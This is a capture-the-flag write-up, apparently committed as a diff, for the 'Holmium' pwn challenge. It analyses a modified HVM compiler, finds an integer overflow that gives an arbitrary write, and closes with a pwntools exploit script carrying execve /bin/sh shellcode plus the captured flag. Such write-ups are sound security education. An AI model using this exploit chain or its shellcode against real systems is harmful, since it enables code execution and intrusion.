|
| 1 | +# Holmium |
| 2 | + |
| 3 | +* Category: Pwn |
| 4 | +* Solves: 2 |
| 5 | +* Points: 500 |
| 6 | +* Solved-by: Qwaz, setuid0 |
| 7 | +* Write-up author: Qwaz |
| 8 | + |
| 9 | +This challenge consists of a huge threatening Rust binary named `holmium` |
| 10 | +and a Docker environment to run it. |
| 11 | +The entrypoint of the container, |
| 12 | +`docker-main`, |
| 13 | +describes how our input is processed. |
| 14 | +It first reads input from the user |
| 15 | +and saves it to a file named `main.hvm`. |
| 16 | +Then, it runs the following code: |
| 17 | + |
| 18 | +``` |
| 19 | +./holmium c main.hvm |
| 20 | +gcc -no-pie -pthread -o main main.c |
| 21 | +echo "Running..." |
| 22 | +./main |
| 23 | +``` |
| 24 | + |
| 25 | +This reveals what is the goal of this challenge. |
| 26 | +It seems that `holmium` is some sort of a compiler |
| 27 | +that takes `.hvm` code and translate it to `.c`, |
| 28 | +and we need to exploit the generated binary, `main`. |
| 29 | + |
| 30 | +If we run the provided binary, |
| 31 | +we get this readme: |
| 32 | + |
| 33 | +``` |
| 34 | +High-order Virtual Machine (0.1.23) |
| 35 | +========================== |
| 36 | +
|
| 37 | +To run a file, interpreted: |
| 38 | +
|
| 39 | + hvm r file.hvm |
| 40 | +
|
| 41 | +To run a file in debug mode: |
| 42 | +
|
| 43 | + hvm d file.hvm |
| 44 | +
|
| 45 | +To compile a file to C: |
| 46 | +
|
| 47 | + hvm c file.hvm [--single-thread] |
| 48 | +
|
| 49 | +This is a PROTOTYPE. Report bugs on https://github.com/Kindelia/HVM/issues! |
| 50 | +``` |
| 51 | + |
| 52 | +The problem is based on an actual project named [HVM](https://github.com/Kindelia/HVM). |
| 53 | +HVM is a yet another lambda calculus interpreter |
| 54 | +with a parallel interpretation in mind. |
| 55 | +The project readme contains a long claim about how awesome HVM is |
| 56 | +with a performance comparison with Haskell GHC, |
| 57 | +which I think [misleading](https://github.com/Kindelia/HVM/issues/72) because HVM and GHC are not doing the same thing. |
| 58 | +To list a few: |
| 59 | + |
| 60 | +1. HVM precompiles known functions into the runtime itself, |
| 61 | +so programs would not have shared in-memory representations |
| 62 | +and creating a REPL is not straightforward. |
| 63 | +2. It silently generates corrupted values when handling clone-in-clone situation |
| 64 | +([#61](https://github.com/Kindelia/HVM/issues/61), [#44](https://github.com/Kindelia/HVM/issues/44#issuecomment-1030890540)). |
| 65 | +3. [It does not perform a proper thread synchronization](https://github.com/Kindelia/HVM/issues/66) |
| 66 | +(which is UB under the C memory model). |
| 67 | + |
| 68 | +With that being said, |
| 69 | +the problem is to exploit `holmium`, not HVM. |
| 70 | +They are not our concern, |
| 71 | +or are they? |
| 72 | +To figure out the answer to this question, |
| 73 | +we compiled one of the example program and compared |
| 74 | +the output generated by `holmium` and `hvm`. |
| 75 | +There were three notable changes. |
| 76 | + |
| 77 | +**Change 1: reduced heap size** |
| 78 | + |
| 79 | +```patch |
| 80 | +- #define HEAP_SIZE (8 * U64_PER_GB * sizeof(u64)) |
| 81 | ++ #define HEAP_SIZE (8 * U64_PER_MB * sizeof(u64)) |
| 82 | +``` |
| 83 | + |
| 84 | +Probably just trying to reduce the resource cap, unless there is a heap exhaustion bug. |
| 85 | + |
| 86 | +**Change 2: opcode change** |
| 87 | + |
| 88 | +```patch |
| 89 | +- #define DP0 (0x0) // points to the dup node that binds this variable (left side) |
| 90 | +- #define DP1 (0x1) // points to the dup node that binds this variable (right side) |
| 91 | +- #define VAR (0x2) // points to the λ that binds this variable |
| 92 | +- #define ARG (0x3) // points to the occurrence of a bound variable a linear argument |
| 93 | +- #define ERA (0x4) // signals that a binder doesn't use its bound variable |
| 94 | +- #define LAM (0x5) // arity = 2 |
| 95 | +- #define APP (0x6) // arity = 2 |
| 96 | +- #define PAR (0x7) // arity = 2 // TODO: rename to SUP |
| 97 | +- #define CTR (0x8) // arity = user defined |
| 98 | +- #define CAL (0x9) // arity = user defined |
| 99 | +- #define OP2 (0xA) // arity = 2 |
| 100 | +- #define U32 (0xB) // arity = 0 (unboxed) |
| 101 | +- #define F32 (0xC) // arity = 0 (unboxed) |
| 102 | +- #define NIL (0xF) // not used |
| 103 | ++ #define U32 (0x0) // arity = 0 (unboxed) |
| 104 | ++ #define F32 (0x1) // arity = 0 (unboxed) |
| 105 | ++ #define LAM (0x2) // arity = 2 |
| 106 | ++ #define APP (0x3) // arity = 2 |
| 107 | ++ #define OP2 (0x4) // arity = 2 |
| 108 | ++ #define PAR (0x5) // arity = 2 // TODO: rename to SUP |
| 109 | ++ #define CTR (0x6) // arity = user defined |
| 110 | ++ #define CAL (0x7) // arity = user defined |
| 111 | ++ #define ERA (0xA) // signals that a binder doesn't use its bound variable |
| 112 | ++ #define ARG (0xB) // points to the occurrence of a bound variable a linear argument |
| 113 | ++ #define VAR (0xC) // points to the λ that binds this variable |
| 114 | ++ #define DP0 (0xE) // points to the dup node that binds this variable (left side) |
| 115 | ++ #define DP1 (0xF) // points to the dup node that binds this variable (right side) |
| 116 | +... |
| 117 | +u64 link(Worker* mem, u64 loc, Lnk lnk) { |
| 118 | + mem->node[loc] = lnk; |
| 119 | + //array_write(mem->nodes, loc, lnk); |
| 120 | +- if (get_tag(lnk) <= VAR) { |
| 121 | ++ if (get_tag(lnk) >= VAR) { |
| 122 | + mem->node[get_loc(lnk, get_tag(lnk) == DP1 ? 1 : 0)] = Arg(loc); |
| 123 | + //array_write(mem->nodes, get_loc(lnk, get_tag(lnk) == DP1 ? 1 : 0), Arg(loc)); |
| 124 | + } |
| 125 | + return lnk; |
| 126 | +} |
| 127 | +``` |
| 128 | + |
| 129 | +Why did the problem author changed the opcode ordering? :thinking: |
| 130 | + |
| 131 | +**Change 3: additional assert** |
| 132 | + |
| 133 | +```patch |
| 134 | +u64 alloc(Worker* mem, u64 size) { |
| 135 | + if (UNLIKELY(size == 0)) { |
| 136 | + return 0; |
| 137 | + } else { |
| 138 | + u64 reuse = stk_pop(&mem->free[size]); |
| 139 | + if (reuse != -1) { |
| 140 | + return reuse; |
| 141 | + } |
| 142 | + u64 loc = mem->size; |
| 143 | + mem->size += size; |
| 144 | ++ assert(mem->size <= MEM_SPACE); |
| 145 | + return mem->tid * MEM_SPACE + loc; |
| 146 | + //return __atomic_fetch_add(&mem->nodes->size, size, __ATOMIC_RELAXED); |
| 147 | + } |
| 148 | +} |
| 149 | +``` |
| 150 | + |
| 151 | +This change seems to be making the program safer. |
| 152 | + |
| 153 | +None of these changes make the program |
| 154 | +fundamentally vulnerable. |
| 155 | +Thus, our guess was that |
| 156 | +there is a type confusion bug in HVM |
| 157 | +that allows us to create a node with a high number opcode, |
| 158 | +and the opcode change helps us exploit the bug. |
| 159 | +Then, we actually started reading how HVM parses and generates C code. |
| 160 | +The code quality was okay, |
| 161 | +although it definitely did not reach the level of the claim in the readme. |
| 162 | + |
| 163 | +Before we discuss the bugs, |
| 164 | +let me quickly introduce the node structure of HVM. |
| 165 | +HVM uses the following 64-bit value format to express each node: |
| 166 | + |
| 167 | +``` |
| 168 | +One character correspond to 16 bits |
| 169 | +TAeeeeeeVVVVVVVV |
| 170 | +T: tag (opcode) |
| 171 | +A: arity (# of child nodes) |
| 172 | +e: ext (function ID, linked variable location, etc.) |
| 173 | +V: val (32-bit) |
| 174 | +``` |
| 175 | + |
| 176 | +Upon reading the code, we spot three bugs that looked exploitable |
| 177 | +and few others that are not really security issues |
| 178 | +(e.g., name collisions, memory leak). |
| 179 | + |
| 180 | +1. Thread safety issue in dup node handling: [#66](https://github.com/Kindelia/HVM/issues/66) |
| 181 | +2. Arity overflows into tags if we put more than 16 arguments in a function call. |
| 182 | +3. Integer overflow in Rust-generated rules: [`compiler.rs`](https://github.com/Kindelia/HVM/blob/bf593cfe68d98585e63e5854e369940eae1dffa6/src/compiler.rs#L340-L358) |
| 183 | + |
| 184 | +The second bug allows us to OR values into the tag of CTR node (0x6), |
| 185 | +that are, CAL (0x7), DP0 (0xE), and DP1 (0xF). |
| 186 | +DP nodes are indirect variables |
| 187 | +that write the value to another location |
| 188 | +when passed to `link()` (see change 2 above), |
| 189 | +so we felt that we were on track. |
| 190 | +However, upon investigating how to exploit this arity overflow bug, |
| 191 | +we found the third integer overflow bug |
| 192 | +that basically allows us to create any node |
| 193 | +as long as its value can be expressed by |
| 194 | +a multiplication of two u32 values. |
| 195 | +It was so powerful that we didn't need the second bug at all. |
| 196 | + |
| 197 | +I prepared an arbitrary write primitive, |
| 198 | +and setuid0 upgraded it into a full exploit. |
| 199 | +He put shellcode and short jumps |
| 200 | +as immediate values in the compiled binary |
| 201 | +and jumped into the middle |
| 202 | +by overwriting `realloc_hook`. |
| 203 | +I was so happy when we solved the problem |
| 204 | +because my wish was granted :) |
| 205 | + |
| 206 | + |
| 207 | + |
| 208 | +Our final exploit: |
| 209 | + |
| 210 | +```python |
| 211 | +from pwn import * |
| 212 | + |
| 213 | +exploit = """// 0x26, 0x2a, 0x2a |
| 214 | +(Main) = ( |
| 215 | + ( |
| 216 | + Exploit |
| 217 | + 11111111 41414141 |
| 218 | + 22222222 41414141 |
| 219 | + 33333333 41414141 |
| 220 | + 1304007 41414141 |
| 221 | + 55555555 41414141 |
| 222 | + 66666666 41414141 |
| 223 | + 77777777 41414141 |
| 224 | + 88888888 41414141 |
| 225 | + ) |
| 226 | + ( |
| 227 | + Exploit |
| 228 | + //585878732 652987596 |
| 229 | + 585863312 652972176 |
| 230 | + // xor eax,eax |
| 231 | + // mov al,0x40 |
| 232 | + 652984369 652951728 |
| 233 | + // shl eax,1 |
| 234 | + // shl eax,1 |
| 235 | + 652992721 652992721 |
| 236 | + // shl eax,1 |
| 237 | + // shl eax,1 |
| 238 | + 652992721 652992721 |
| 239 | + // shl eax,1 |
| 240 | + // shl eax,1 |
| 241 | + 652992721 652992721 |
| 242 | + // shl eax,1 |
| 243 | + // shl eax,1 |
| 244 | + 652992721 652992721 |
| 245 | + // shl eax,1 |
| 246 | + // push rax; pop rsi |
| 247 | + 652992721 652959312 |
| 248 | + // shl eax,1 |
| 249 | + // shl eax,1 |
| 250 | + 652992721 652992721 |
| 251 | + // shl eax,1 |
| 252 | + // shl eax,1 |
| 253 | + 652992721 652992721 |
| 254 | + // shl eax,1 |
| 255 | + // shl eax,1 |
| 256 | + 652992721 652992721 |
| 257 | + // shl eax,1 |
| 258 | + // push rax; pop rdi |
| 259 | + 652992721 652959568 |
| 260 | + // xor eax,eax |
| 261 | + // mov al,10 |
| 262 | + 652984369 652937904 |
| 263 | + // xor edx,edx |
| 264 | + // mov dl,7 |
| 265 | + 652988977 652937138 |
| 266 | + // syscall |
| 267 | + // push rsi; pop rdx |
| 268 | + 652936463 652958294 |
| 269 | + // push rcx; pop rsi |
| 270 | + // xor edi,edi |
| 271 | + 652959313 653000497 |
| 272 | + // syscall |
| 273 | + 652936463 3435973836 |
| 274 | + 3435973836 3435973836 |
| 275 | + 3435973836 3435973836 |
| 276 | + 3435973836 3435973836 |
| 277 | + 3435973836 3435973836 |
| 278 | + 3435973836 3435973836 |
| 279 | + 3435973836 3435973836 |
| 280 | + 3435973836 3435973836 |
| 281 | + 3435973836 3435973836 |
| 282 | + 3435973836 3435973836 |
| 283 | + 3435973836 3435973836 |
| 284 | + 3435973836 3435973836 |
| 285 | + 3435973836 3435973836 |
| 286 | + 3435973836 3435973836 |
| 287 | + 3435973836 3435973836 |
| 288 | + 3435973836 3435973836 |
| 289 | + 3435973836 3435973836 |
| 290 | + 3435973836 3435973836 |
| 291 | + 3435973836 3435973836 |
| 292 | + 3435973836 3435973836 |
| 293 | + 3435973836 3435973836 |
| 294 | + 3435973836 3435973836 |
| 295 | + 3435973836 3435973836 |
| 296 | + 3435973836 3435973836 |
| 297 | + 3435973836 3435973836 |
| 298 | + 3435973836 3435973836 |
| 299 | + 3435973836 3435973836 |
| 300 | + 3435973836 3435973836 |
| 301 | + 3435973836 3435973836 |
| 302 | + 3435973836 3435973836 |
| 303 | + 3435973836 3435973836 |
| 304 | + 3435973836 3435973836 |
| 305 | + ) |
| 306 | + // Leak test, Ctr(1, N=2, 1049301) |
| 307 | + (* 1945917207 3591923955) |
| 308 | + // Arbitrary write |
| 309 | + // Lam(7) = 2515077533 * 916807923 |
| 310 | + // Executed as mem->node[1304007] = 4211158 |
| 311 | + ((* 2515077533 916807923) 4211158) |
| 312 | +)""" |
| 313 | + |
| 314 | +s = remote("holmium.chal.pwni.ng", 1337) |
| 315 | +s.recvuntil("-\n") |
| 316 | +s.send("%d main.hvm\n" % len(exploit)) |
| 317 | + |
| 318 | +s.recvuntil("main.hvm\n") |
| 319 | +s.send(exploit) |
| 320 | +s.recvuntil("Running...") |
| 321 | + |
| 322 | +s.send("\x90"*0x400 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05") |
| 323 | +s.interactive() |
| 324 | +``` |
| 325 | + |
| 326 | +`PCTF{b4by_h0lmium_d0wn_tight_wh3n_im_l0sing_my_m1nd_46bd197035aba40c}` |
0 commit comments